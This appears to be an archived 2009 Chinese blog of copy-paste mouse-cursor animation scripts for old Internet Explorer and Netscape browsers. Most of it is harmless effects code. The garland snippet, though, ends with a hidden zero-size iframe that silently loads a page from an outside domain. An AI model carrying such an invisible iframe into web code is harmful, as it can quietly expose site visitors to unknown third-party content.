Thu

05

Mar

2009

30、围绕图片疯狂旋转的花朵

30、围绕图片疯狂旋转的花朵

<html>

 

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>网页特效--- 围绕图片疯狂旋转的花朵</title>

</head>

 

<body>

 

<script language="JavaScript">

<!--

var images='images/flower2.gif';//将图片名称改为你的图像!

var amount=7;//Number of images here. Do not alter for this script!!

var speed=1;

var RunTime = 0;

var cntr=0;

var xcntr=100;

var pulse=25;

var Xpos = 0;

var Ypos = 0;

var _y;

var temp;

 

/*If you use an image larger or smaller than the one I've used

the cursor will be off center.Alter the 2 variables below to center it.*/

var UpDown=-10;

var LeftRight=-5;

 

if (document.all){

document.write('<div id="ieDiv" style="position:absolute;top:0px;left:0px">');

document.write('<div id="c" style="position:relative">');

for (n=0; n < amount; n++)

document.write('<img src="'+images+'" style="position:absolute;top:0px;left:0px;visibility:hidden">');

document.write('</div>');

document.write('</div>');

 

function FollowMouse(){

Xpos = document.body.scrollLeft+event.x+UpDown;

Ypos = document.body.scrollTop+event.y+LeftRight;

}

document.onmousemove = FollowMouse;

}

 

else if (document.layers){

window.captureEvents(Event.MOUSEMOVE);

function xFollowMouse(evnt){

Xpos = evnt.pageX+UpDown;

Ypos = evnt.pageY+LeftRight;

}

window.onMouseMove = xFollowMouse;

for (ns=0; ns < amount; ns++)

document.write("<LAYER NAME='n"+ns+"' LEFT=0 TOP=0 VISIBILITY=HIDE><IMG SRC='"+images+"'></LAYER>");

}

 

 

function msi(){

if (document.layers){

for ( i = 0 ; i < ns ; i++ )

{

temp="n"+i

document.layers[0].visibility='show';

document.layers[0].top = Ypos+cntr*Math.cos((RunTime+i*4.5)/5);

document.layers[0].left =Xpos+cntr*Math.sin((RunTime+i*4.5)/5);

}

cntr+=1;

RunTime+=speed;

stp=setTimeout('msi()',10);

if (cntr>=100)

{

cntr=100;

speed=2.5;

for ( i = 0 ; i < ns ; i++ )

{

temp="n"+i

document.layers[temp].visibility='show';

document.layers[temp].top=Ypos+cntr*Math.cos((RunTime-100)*i/90);

document.layers[temp].left=Xpos+cntr*Math.sin((RunTime-100)*i/90);

}

}

if (RunTime>182)

{

speed=0.5;

for ( i = 0 ; i < ns ; i++ )

{

temp="n"+i

document.layers[temp].top=Ypos+xcntr*Math.cos(((RunTime-182)+i*4.5)/5);

document.layers[temp].left=Xpos+xcntr*Math.sin(((RunTime-182)+i*4.5)/5)*Math.cos((RunTime-182)/5);

}

}

}

 

 

 

else if (document.all){

for (i=0;i<ieDiv.all.c.all.length;i++)

{

ieDiv.all.c.all[0].style.visibility='visible';

ieDiv.all.c.all[0].style.top=Ypos+cntr*Math.cos((RunTime+i*4.5)/5);

ieDiv.all.c.all[0].style.left=Xpos+cntr*Math.sin((RunTime+i*4.5)/5);

}

cntr+=1;

RunTime+=speed;

stp=setTimeout('msi()',10);

if (cntr>=100)

{

cntr=100;

speed=2.5;

for (i=0;i<ieDiv.all.c.all.length;i++)

{

ieDiv.all.c.all[i].style.visibility='visible';

ieDiv.all.c.all[i].style.top=Ypos+cntr*Math.cos((RunTime-100)*i/90);

ieDiv.all.c.all[i].style.left=Xpos+cntr*Math.sin((RunTime-100)*i/90);

}

}

if (RunTime>182)

{

speed=0.5;

for (i=0;i<ieDiv.all.c.all.length;i++)

{

ieDiv.all.c.all[i].style.top=Ypos+xcntr*Math.cos(((RunTime-182)+i*4.5)/5);

ieDiv.all.c.all[i].style.left=Xpos+xcntr*Math.sin(((RunTime-182)+i*4.5)/5)*Math.cos((RunTime-182)/5);

}

}

}

if (RunTime>210)

{

xcntr-=10;

}

if (document.layers)

_y=-window.innerWidth-90;

else if (document.all)

_y=-document.body.clientWidth-90;

if (xcntr <= _y)

{

RunTime=0;

speed=1;

cntr=0;

xcntr=100;

}

}

msi()

//-->

</script>

 

</body>

 

</html>

 

0 Comments

Thu

05

Mar

2009

29、跟随鼠标变色的文字???

29、跟随鼠标变色的文字???

<!--将以下代码加入HTML<Body></Body>之间-->

<LAYER NAME="a0" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#ffffff" CLIP="0,0,1,1">

</LAYER>

<LAYER NAME="a1" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#fff000" CLIP="0,0,1,1">

</LAYER>

<LAYER NAME="a2" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#ffa000" CLIP="0,0,1,1">

</LAYER>

<LAYER NAME="a3" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#ff00ff" CLIP="0,0,1,1">

</LAYER>

<LAYER NAME="a4" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#00ff00" CLIP="0,0,1,1">

</LAYER>

<LAYER NAME="a5" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#FF00FF" CLIP="0,0,1,1">

</LAYER>

<LAYER NAME="a6" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#FF0000" CLIP="0,0,1,1">

</LAYER>

<LAYER NAME="a7" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#ffffff" CLIP="0,0,2,2">

</LAYER>

<LAYER NAME="a8" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#fff000" CLIP="0,0,2,2">

</LAYER>

<LAYER NAME="a9" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#ffa000" CLIP="0,0,2,2">

</LAYER>

<LAYER NAME="a10" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#ff00ff" CLIP="0,0,2,2">

</LAYER>

<LAYER NAME="a11" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#00ff00" CLIP="0,0,2,2">

</LAYER>

<LAYER NAME="a12" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#0000ff" CLIP="0,0,2,2">

</LAYER>

<LAYER NAME="a13" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#FF0000" CLIP="0,0,2,2">

</LAYER>

<script language="JavaScript">

 

if (document.all){

with (document){

write('<div id="starsDiv" style="position:absolute;top:0px;left:0px">')

write('<div style="position:relative;width:1px;height:1px;background:#ffffff;font-size:1px;visibility:visible"></div>')

write('<div style="position:relative;width:1px;height:1px;background:#fff000;font-size:1px;visibility:visible"></div>')

write('<div style="position:relative;width:1px;height:1px;background:#ffa000;font-size:1px;visibility:visible"></div>')

write('<div style="position:relative;width:1px;height:1px;background:#ff00ff;font-size:1px;visibility:visible"></div>')

write('<div style="position:relative;width:1px;height:1px;background:#00ff00;font-size:1px;visibility:visible"></div>')

write('<div style="position:relative;width:1px;height:1px;background:#0000ff;font-size:1px;visibility:visible"></div>')

write('<div style="position:relative;width:1px;height:1px;background:#FF0000;font-size:1px;visibility:visible"></div>')

write('<div style="position:relative;width:2px;height:2px;background:#ffffff;font-size:2px;visibility:visible"></div>')

write('<div style="position:relative;width:2px;height:2px;background:#fff000;font-size:2px;visibility:visible"></div>')

write('<div style="position:relative;width:2px;height:2px;background:#ffa000;font-size:2px;visibility:visible"></div>')

write('<div style="position:relative;width:2px;height:2px;background:#ff00ff;font-size:2px;visibility:visible"></div>')

write('<div style="position:relative;width:2px;height:2px;background:#00ff00;font-size:2px;visibility:visible"></div>')

write('<div style="position:relative;width:2px;height:2px;background:#0000ff;font-size:2px;visibility:visible"></div>')

write('<div style="position:relative;width:3px;height:3px;background:#FF0000;font-size:3px;visibility:visible"></div>')

write('</div>')

}

}

 

if (document.layers)

{window.captureEvents(Event.MOUSEMOVE);}

var yBase = 200;

var xBase = 200;

var step = 1;

var currStep = 0;

var Xpos = 1;

var Ypos = 1;

if (document.all)

{

  function MoveHandler(){

  Xpos = document.body.scrollLeft+event.x;

  Ypos = document.body.scrollTop+event.y;

  }

  document.onmousemove = MoveHandler;

}

 

else if (document.layers)

{

  function xMoveHandler(evnt){

  Xpos = evnt.pageX;

  Ypos = evnt.pageY;

  }

  window.onMouseMove = xMoveHandler;

}

 

function animateLogo() {

if (document.all)

{

 yBase = window.document.body.offsetHeight/6;

 xBase = window.document.body.offsetWidth/6;

}

else if (document.layers)

{

 yBase = window.innerHeight/8;

 xBase = window.innerWidth/8;

}

 

if (document.all)

{

 for ( i = 0 ; i < starsDiv.all.length ; i++ )

 {

  starsDiv.all[i].style.top = Ypos + yBase*Math.sin((currStep + i*4)/12)*Math.cos(400+currStep/200);

 starsDiv.all[i].style.left = Xpos + xBase*Math.sin((currStep + i*3)/10)*Math.sin(currStep/200);

 }

}

 

else if (document.layers)

{

 for ( j = 0 ; j < 14 ; j++ ) //number of NS layers!

 {

  var templayer="a"+j

  document.layers[templayer].top = Ypos + yBase*Math.sin((currStep + j*4)/12)*Math.cos(400+currStep/200);

  document.layers[templayer].left = Xpos + xBase*Math.sin((currStep + j*3)/10)*Math.sin(currStep/200);

 }

}

currStep+= step;

setTimeout("animateLogo()", 10);

}

animateLogo();

</script>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

</body>

 

</html>

 

0 Comments

Thu

05

Mar

2009

28、鼠标随移动的方向而改变

28、鼠标随移动的方向而改变

<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns="http://www.w3.org/TR/REC-html40">

 

<head>

<STYLE>

body{margin:0px;cursor:url(sto/Select.cur)}

v\:* { Behavior: url(#default#VML) }

</STYLE>

 

    <script>

     var trace=""

     var vP

     var r=0

     var vS

     var p=new Object()

     var lineColor=[[255,0,0],[255,0,255]]

     p.x=0;p.y=0

     function init(){

            document.body.onmousedown=function(){

              if (event.button==1 || event.button==4){

               if (event.button==1) vP=document.createElement("v:PolyLine"); else vP=document.createElement("v:line");

              }

              vS=document.createElement("v:stroke")

              vP.filled="false"

              vP.appendChild(vS)

              document.body.appendChild(vP)

              trace="";

              if (event.button==4) vP.from.value=event.clientX + "," + event.clientY;

            }

           

            document.body.onmousemove=function(){

              if (event.button==1){

              pos=event.clientX + "," + event.clientY + " ";

              trace+=pos

              vS.color="rgb(255,0,0)"

                 vP.points.value=trace

             }

             if  (event.button==4) {

              vP.to.value=event.clientX + "," + event.clientY;

             }

            

             rImg.style.left=event.clientX-20;

             rImg.style.top=event.clientY-20;

            

             var cX = p.x-event.clientX;

             var cY = p.y-event.clientY;

             if (cX || cY) {

                                   status ="cX:"+cX+" -cY:"+cY

                       rotationImg(180-parseInt(Math.atan2(cY,cX)*180/Math.PI,10));

             } 

                    p.x=event.clientX;

                    p.y=event.clientY;     

            }

    

            document.body.onmouseup=function(){

                     vS.EndArrow="Block"

             }

            document.onselectstart=function(){return false}

     }

    

     function rotationImg(flag){

          window.status=r + " to " + flag;

          var step=3;

               while(r-flag>180) flag+=360

               while(flag-r>180) flag-=360

               r += (flag-r)/step

     rImg.style.rotation=90-r;

    }

    </script>

<link rel="File-List" href="new_page_1.files/filelist.xml">

<!--[if gte mso 9]>

<xml><o:shapedefaults v:ext="edit" spidmax="1027"/>

</xml><![endif]-->

</head>

 

<body onload="init()">

<p><!--[if gte vml 1]><v:shapetype id="_x0000_t75"

 coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe"

 filled="f" stroked="f">

 <v:stroke joinstyle="miter"/>

 <v:formulas>

  <v:f eqn="if lineDrawn pixelLineWidth 0"/>

  <v:f eqn="sum @0 1 0"/>

  <v:f eqn="sum 0 0 @1"/>

  <v:f eqn="prod @2 1 2"/>

  <v:f eqn="prod @3 21600 pixelWidth"/>

  <v:f eqn="prod @3 21600 pixelHeight"/>

  <v:f eqn="sum @0 0 1"/>

  <v:f eqn="prod @6 1 2"/>

  <v:f eqn="prod @7 21600 pixelWidth"/>

  <v:f eqn="sum @8 21600 0"/>

  <v:f eqn="prod @7 21600 pixelHeight"/>

  <v:f eqn="sum @10 21600 0"/>

 </v:formulas>

 <v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>

 <o:lock v:ext="edit" aspectratio="t"/>

</v:shapetype><v:shape id="rImg" o:spid="_x0000_s1025" type="#_x0000_t75"

 style='position:absolute;left:0;top:0;width:27.75pt;height:27.75pt;z-index:0'>

 <v:imagedata src="sto/mouse.gif"/>

</v:shape><![endif]--><![if !vml]><span style='mso-ignore:vglayout;position:

absolute;z-index:0;left:0px;top:0px;width:37px;height:37px'><img width=37

height=37 src="sto/mouse.gif" v:shapes="rImg"></span><![endif]></p>

</body>

 

1 Comments

Thu

05

Mar

2009

27、鼠标变形特效代码

27、鼠标变形特效代码

<style type=TEXT/CSS>

BODY {CURSOR:url('http://imgcache.qq.com/qzone/item/orig/9/2617.ani');}

A {CURSOR:hand}

</style>

 

 

 

0 Comments

Thu

05

Mar

2009

26、萤火虫儿似的鼠标特效

26、萤火虫儿似的鼠标特效

<script language="JavaScript">                                           

if (document.all){                                           

                                           

colours=new Array('ff0000','00ff00','3366ff','ff00ff','ffa500','ffffff','fff000')                                           

                                            

amount=colours.length;                                           

YgetDelay=0,XgetDelay=0,Ydelay=0,Xdelay=0,step=0.2,currStep=0,my=0,mx=0;                                           

document.write('<div id="ie" style="position:absolute;top:0;left:0;"><div style="position:relative">');                                           

for (i=0; i < amount; i++)                                           

document.write('<div id="iestars" style="position:absolute;top:0px;left:0px;height:50px;width:50px;font-family:Courier New;font-size:5px;color:'+colours[i]+';padding-top:20px;text-align:center">.</div>');                                           

document.write('</div></div>');                                           

ini=1;                                            

gstep=1;                                           

function iMouse(){                                           

my=event.y;mx=event.x;                                           

}                                           

document.onmousemove=iMouse                                           

function dim(){                                           

ini-=gstep;                                           

dt=setTimeout('dim()',10);                                           

if (ini < 2){                                           

clearTimeout(dt);                                           

glow();                                           

}                                           

}                                            

function glow(){                                           

ini+=gstep;                                           

gt=setTimeout('glow()',10);                                           

if (ini > 14){                                           

clearTimeout(gt);                                           

dim();                                           

}                                           

}                                           

function stars(){                                            

ie.style.top=document.body.scrollTop;                                           

for (i=0; i < amount; i++)                                           

 {                                           

 var layer=iestars[i].style;                                             

 layer.filter='glow(color='+colours[i]+', strength='+ini+')';                                           

 layer.top= Ydelay+100*Math.sin((5*Math.sin((currStep-15.99)/10))+i*70)*Math.sin((currStep)/10)*Math.cos((currStep+i*25)/10);                                            

 layer.left=Xdelay+180*Math.cos((5*Math.sin((currStep-15.99)/10))+i*70)*Math.sin((currStep)/10)*Math.cos((currStep+i*25)/10);                                           

 }                                            

currStep+=step;                                           

}                                           

function delay(){                                           

Ydelay = YgetDelay+=(my-YgetDelay)*1/20;                                            

Xdelay = XgetDelay+=(mx-XgetDelay)*1/20;                                           

stars();                                           

setTimeout('delay()',10);                                           

}                                            

delay();                                           

glow();                                           

}                                           

</script>

 

0 Comments

Thu

05

Mar

2009

25、鼠标花环特效代码

25、鼠标花环特效代码

<html>

 

<head>

<title>网页特效---围绕鼠标的七彩流星</title>

</head>

 

<body bgcolor="#000000" text="#000000">

<LAYER NAME="a0" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#ffffff" CLIP="0,0,1,1">

</LAYER>

<LAYER NAME="a1" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#fff000" CLIP="0,0,1,1">

</LAYER>

<LAYER NAME="a2" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#ffa000" CLIP="0,0,1,1">

</LAYER>

<LAYER NAME="a3" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#ff00ff" CLIP="0,0,1,1">

</LAYER>

<LAYER NAME="a4" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#00ff00" CLIP="0,0,1,1">

</LAYER>

<LAYER NAME="a5" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#FF00FF" CLIP="0,0,1,1">

</LAYER>

<LAYER NAME="a6" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#FF0000" CLIP="0,0,1,1">

</LAYER>

<LAYER NAME="a7" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#ffffff" CLIP="0,0,2,2">

</LAYER>

<LAYER NAME="a8" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#fff000" CLIP="0,0,2,2">

</LAYER>

<LAYER NAME="a9" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#ffa000" CLIP="0,0,2,2">

</LAYER>

<LAYER NAME="a10" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#ff00ff" CLIP="0,0,2,2">

</LAYER>

<LAYER NAME="a11" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#00ff00" CLIP="0,0,2,2">

</LAYER>

<LAYER NAME="a12" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#0000ff" CLIP="0,0,2,2">

</LAYER>

<LAYER NAME="a13" LEFT="10" TOP="10" VISIBILITY="SHOW" BGCOLOR="#FF0000" CLIP="0,0,3,3">

</LAYER>

<div id="starsDiv" style="position:absolute;top:0px;left:0px"><div

style="position:relative;width:1px;height:1px;background:#fff000;font-size:1px;visibility:visible"></div><div

style="position:relative;width:1px;height:1px;background:#ffa000;font-size:1px;visibility:visible"></div><div

style="position:relative;width:1px;height:1px;background:#ff00ff;font-size:1px;visibility:visible"></div><div

style="position:relative;width:1px;height:1px;background:#00ff00;font-size:1px;visibility:visible"></div><div

style="position:relative;width:1px;height:1px;background:#0000ff;font-size:1px;visibility:visible"></div><div

style="position:relative;width:1px;height:1px;background:#FF0000;font-size:1px;visibility:visible"></div><div

style="position:relative;width:2px;height:2px;background:#ffffff;font-size:2px;visibility:visible"></div><div

style="position:relative;width:2px;height:2px;background:#fff000;font-size:2px;visibility:visible"></div><div

style="position:relative;width:2px;height:2px;background:#ffa000;font-size:2px;visibility:visible"></div><div

style="position:relative;width:2px;height:2px;background:#ff00ff;font-size:2px;visibility:visible"></div><div

style="position:relative;width:2px;height:2px;background:#00ff00;font-size:2px;visibility:visible"></div><div

style="position:relative;width:2px;height:2px;background:#0000ff;font-size:2px;visibility:visible"></div><div

style="position:relative;width:3px;height:3px;background:#FF0000;font-size:3px;visibility:visible"></div></div><script

LANGUAGE="JavaScript">

var Clrs = new Array(6);

Clrs[0] = 'ff0000';

Clrs[1] = '00ff00';

Clrs[2] = '000aff';

Clrs[3] = 'ff00ff';

Clrs[4] = 'fff000';

Clrs[5] = 'fffff0';

var yBase = 200;

var xBase = 200;

var step;

var currStep = 0;

var Xpos = 1;

var Ypos = 1;

var Xs = 200;

var Ys = 400;

if (document.layers) {

window.captureEvents(Event.MOUSEMOVE);

}

if (document.all) {

function MoveHandler() {

Xpos = document.body.scrollLeft+event.x;

Ypos = document.body.scrollTop+event.y;

}

document.onmousemove = MoveHandler;

}

else if (document.layers) {

function xMoveHandler(evnt) {

Xpos = evnt.pageX;

Ypos = evnt.pageY;

}

window.onMouseMove = xMoveHandler;

}

function Comet() {

if (document.all) {

yBase = window.document.body.offsetHeight / 4;

xBase = window.document.body.offsetWidth / 4;

}

else if (document.layers) {

yBase = window.innerHeight / 4;

xBase = window.innerWidth / 4;

}

if (document.all) {

for ( i = 0 ; i < starsDiv.all.length ; i++ ) {

step = 3;

starsDiv.all[i].style.top = Ypos + yBase*Math.cos((currStep + i*4)/12)*Math.cos(0.7+currStep/200);

starsDiv.all[i].style.left = Xpos + xBase*Math.sin((currStep + i*3)/10)*Math.sin(8.2+currStep/400);

for (ai = 0; ai < Clrs.length; ai++) {

var c=Math.round(Math.random()*[ai]);

}

starsDiv.all[i].style.background = Clrs[c];

   }

}

else if (document.layers) {

for ( j = 0 ; j < 14 ; j++ ) { //number of NS layers!

step = 6;

var templayer = "a"+j;

document.layers[templayer].top = Ypos + yBase*Math.cos((currStep + j*4)/12)*Math.cos(0.7+currStep/200);

document.layers[templayer].left = Xpos + xBase*Math.sin((currStep + j*3)/10)*Math.sin(8.2+currStep/400);

for (aj=0; aj < Clrs.length; aj++)

{

 var c=Math.round(Math.random()*[aj]);

}

document.layers[templayer].bgColor = Clrs[c];

   }

}

currStep += step;

setTimeout("Comet()", 5);

}

Comet();

//  End -->

</script>

 

 

</body>

</html></td>

              </tr>

       </table>

</div>

 

 

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

 

 

 

</body>

</html>

 

0 Comments

Thu

05

Mar

2009

24、很有特色的荧光鼠标

24、很有特色的荧光鼠标

<html>

 

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>网页特效|Linkweb.cn/Js|---很有特色的荧光鼠标</title>

<meta name="GENERATOR" content="Microsoft FrontPage 6.0">

</head>

 

<body id="mybody" style="filter:light(enabled=1);" bgcolor="#ffffff" text="#000000">

<div

        id="Layer1" style="height: 32; left: 66; position: absolute; top: 41; width: 52">

  <dd>

    <div align="right">

      <img src="images/light.gif" width="29" height="30"> </div>

  </dd>

        </div>

 

<p align="center"><b><font size="5">日落大道上的亚洲男孩 </font></b>

</p>

 

<table border="0" width="100%">

  <tr>

    <td width="82%"><font face="宋体" color="#FF00FF" style="font-size: 9pt">

        </font><span style="font-size: 9pt">

    人人爱谈张爱玲,尤其在论及服饰的时候。我不能免俗,也来附庸风雅一番。张爱玲纪念文集提到她逝世时的寓所,地址非常眼熟,后来才知道那公寓就在UC

    LA正门附近。我和朋友好奇心起,课后前去朝圣一番,发现果真就是文集照片中的公寓,只不过屋前绿树茁壮更胜以往,和目前公寓的灰暗色调形成讽刺对比。耳闻张爱玲生前喜欢在UCLA附近不时搬迁,居无定所,像一头中枪后逃逸的狐狸,不停回头将沿路滴落的血迹舐去,以免猎人循迹跟上。 <br>

    <br>

      我以刚出道的猎人口吻说∶传言中张的住所很狼狈,她的衣物都随便搁在纸箱或超级市场收集来的塑胶袋里唷。 <br>

    <br>

      比我早来洛杉矶数年的同行朋友却说∶有何奇怪?我的衣物书籍也都塞在纸箱和塑胶袋里。搬家的时候反而方便啊。 <br>

    <br>

      朋友的粗廉生活让我很不以为然;当时我才初抵美国未久。 <br>

    <br>

      试想,任何华丽的衣裳只要一落进超级市场塑胶袋,看起来就像垃圾。把生活尽数装在塑胶袋里,岂不是将自己完全垃圾化? <br>

    <br>

      但,在开始租屋、收集家具之后,我也开始世故驯化。留学生余钱无多,时常面临搬家压力。因此,我很少购衣;如要花钱,选择并不多。 <br>

    <br>

      从UCLA门口驱车南行,经过张爱玲故居,就来到了”ROSS“成衣批发店。ROSS陈列满坑满谷的名牌服饰,但因都是瑕疵品,比如说胸口的商标掉到肚脐位置的马球衫之类,张冠李戴,品质荒唐,所以售价低廉。许多经济能力较差的黑人和墨西哥人就来这里翻索便宜的CK、耐吉、DKNY;我加入他们肤色鲜艳的行列,结帐时将微疵的战利品装在塑胶袋里-而非百货公司的雅痞纸袋。说不定当年张爱玲也曾经蹋著脸徒步到这里找便宜货,混迹各色人种之间,没有人认出她何许人也。 <br>

    <br>

      虽然每次光顾ROSS都省了钱,而且享受与有色人种站在同一阵线的政治正确虚荣感,但每一次的经验都极其卑微沮丧。好莱坞电影中,彩色画报里,那种昂首阔步走进香蕉共和国的潇洒意象,在现实美国里却好遥远。还是认份光顾量贩店,站在平庸空间里排队,细细咀嚼外国人的贫穷滋味。 <br>

    <br>

      时装海报里,那些空灵的躯干之间,并没有留下什么空位给我者。 <br>

    <br>

      在日落大道两岸,巨幅时装广告海报一张张浮悬空中,像敦煌壁画,海报里俊男美女睥睨众生,佛似的自在庄严,日落大道一如当代加 <br>

    <br>

      州的丝路。AFAbercrombie & Fitch的白人男孩在阳光下微笑展示金身,好生慈悲。我猜美国当前年轻男性最风靡的服饰品牌之一大概就是AF,青春的傲慢包装成若无其事的天真潇洒。难怪校园里穿AF的大男孩比比皆是(怪的是,任何人穿了AF就会变得性感);许多男同志也表示,看了AF男孩就会流口水(许多人在徵友广告中表明,想要找AF风格的男孩)。记得春天清晨我行过波士顿哈佛大学,赫然发现哈佛广场前最招摇的海报就来自AF,金发男孩的美丽笑脸占据了整个橱窗,诡异的意象。光是一张笑脸就比一家书店还要庞大。我望之却步了。 <br>

    <br>

      </span></td>           

  </tr>           

</table>                  

           

<script language="vbscript">

dim red,gre,blu

dim x,y,z

red=255

gre=255

blu=0

z=100

 

sub window_onload()

call mybody.filters.light.addPoint(0,0,z,Red,Gre,Blu,100)

mybody.style.cursor="hand"

end sub

 

 

sub document_onmousemove()

x=window.event.x

y=window.event.y

call mybody.filters.Light.MoveLight(0, x, y, 100, 1)

end sub

</script>

 

<script language="javascript">

//这是使图层移动的函数

function move_layer()

{

Layer1.style.left=event.clientX+document.body.scrollLeft-50;

Layer1.style.top=event.clientY+document.body.scrollTop-20;

}

//这里的意思是,如果鼠标移动时就调用"move_layer"函数

document.onmousemove =move_layer;

</script>

 

</body>

</html></p>

 

0 Comments

Thu

05

Mar

2009

23、鼠标点击弹球代码

23、鼠标点击弹球代码

<SCRIPT LANGUAGE="JavaScript1.2">

<!-- Begin

function BrowserCheck() {

var b = navigator.appName;

if (b == "Netscape") this.b = "NS";

else if (b == "Microsoft Internet Explorer") this.b = "IE";

else this.b = b;

this.v = parseInt(navigator.appVersion);

this.NS = (this.b == "NS" && this.v>=4);

this.NS4 = (this.b == "NS" && this.v == 4);

this.NS5 = (this.b == "NS" && this.v == 5);

this.IE = (this.b == "IE" && this.v>=4);

this.IE4 = (navigator.userAgent.indexOf('MSIE 4')>0);

this.IE5 = (navigator.userAgent.indexOf('MSIE 5')>0);

if (this.IE5 || this.NS5) this.VER5 = true;

if (this.IE4 || this.NS4) this.VER4 = true;

this.OLD = (! this.VER5 && ! this.VER4) ? true : false;

this.min = (this.NS||this.IE);

}

is = new BrowserCheck();

//  End -->

</script>

 

<div id="staticBall" style="position:relative;visibility:hidden"><img src="../store/pic/ball.gif" height=30 width=30 alt="Static ball"></div>

<div id="ball" style="visibility:hidden; position:absolute; left:100; top:10; height:34; width:34"><img src="../store/pic/ball.gif" height=30 width=30 alt="Bouncing ball"></div>

 

<script language="Javascript1.2">

<!-- Begin

iter = 0;

setId = 0;

down = true;

up = false;

bouncingBall = (is.VER5) ? document.getElementById("ball").style

: (is.NS) ? document.layers["ball"]

: document.all["ball"].style;

stillBall = (is.VER5) ? document.getElementById("staticBall").style

: (is.NS) ? document.layers["staticBall"] : document.all["staticBall"].style;

winH = (is.NS) ? window.innerHeight - 55 : document.body.offsetHeight - 55;

document.onmouseup = buttonUp;

if (is.NS4)

document.captureEvents(Event.MOUSEUP);

function buttonUp(e) {

if ( ((is.NS) ? e.which : event.button) != 1) return true;

if (setId != 0) clearInterval(setId);

bouncingBall.visibility="visible";

stillBall.visibility="hidden";

bouncingBall.left = (is.NS) ? e.pageX - 15 : event.offsetX - 15;

bouncingBall.top = (is.NS) ? e.pageY - 15 : event.offsetY - 15;

iter = 0;

setId = setInterval("generateGravity()", 20);

return true;

}

function generateGravity() {

if ((parseInt(bouncingBall.top)+iter < winH) && down) {

bouncingBall.top = parseInt(bouncingBall.top) + iter;

iter++;

return;

}

else {

if ((parseInt(bouncingBall.top)< winH) && down) {

bouncingBall.top = winH + 5;

return;

}

down = false;

up = true;

if (iter < 0 && parseInt(bouncingBall.top) > winH) {

clearInterval(setId);

bouncingBall.visibility = "hidden";

stillBall.visibility="visible";

setId = 0;

}

if (parseInt(bouncingBall.top) > 0 && up && iter >= 0) {

bouncingBall.top = parseInt(bouncingBall.top) - iter;

iter--;

if (iter%3 == 0) iter--;

return;

}

down = true;

up = false;

   }

}

// End -->

</script>

 

1 Comments

Thu

05

Mar

2009

22、围绕鼠标的星星代码

22、围绕鼠标的星星代码

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>鼠标转动星星链接</title>

</head>

 

<body>

 

 

<SCRIPT LANGUAGE="JavaScript">

<!-- Begin

document.write("<style><!--.spanstyle{ position:absolute; visibility:visible; top:-50px;}.explain{ position:absolute; top:40px; left:10px; width:560px; }--></style>");

var x,y; var step=5; var flag=1; var pause; var timersmall; var timerbig; var isbigcircle=1; var pause=50; var bigradius; var smallradius=50;

var startwinkel=1; var imgnumber=12; var imgsrc="cbstar.gif"; var xcenter; var ycenter; var pi= Math.PI

function onresizer(){clearTimeout(timerbig); clearTimeout(timersmall); initiate();}

function initiate(){var initiatetimer=setTimeout("initiate2()",2000); }

function initiate2(){if (document.layers){xcenter=Math.floor(screen.width/2.3-20); ycenter=Math.floor(window.innerHeight/2.3-20)}

if (document.all){xcenter=Math.floor(document.body.clientWidth/2.3-20);ycenter=Math.floor(document.body.clientHeight/2.3-20)};bigradius=ycenter;bigcircle();}

function handlerMM(e){x = (document.layers) ? e.pageX : event.clientX;y = (document.layers) ? e.pageY : event.clientY;flag=1;}

function bigcircle(){if (isbigcircle==1){if (document.all){for (i=1; i<=imgnumber; i++){var thisspan = eval("document.all.span"+(i)+".style");thisspan.posLeft=((xcenter-20)*Math.cos(startwinkel*(pi/180)))+xcenter;thisspan.posTop=((ycenter-20)*Math.sin(startwinkel*(pi/180)))+ycenter;startwinkel=startwinkel+30;}}

if (document.layers){for (i=1; i<=imgnumber; i++){var thisspan = eval("document.span"+i);thisspan.left=((xcenter-150)*Math.cos(startwinkel*(pi/180)))+(xcenter-145);thisspan.top=((ycenter-20)*Math.sin(startwinkel*(pi/180)))+ycenter;startwinkel=startwinkel+30;}}

step=step+5;startwinkel=step;timerbig=setTimeout("bigcircle()",pause);}else{isbigcircle=0;clearTimeout(timerbig)}}

function presmallcircle(){isbigcircle=0;clearTimeout(timerbig);smallcircle();}

function prebigcircle(){isbigcircle=1;clearTimeout(timersmall);bigcircle()}

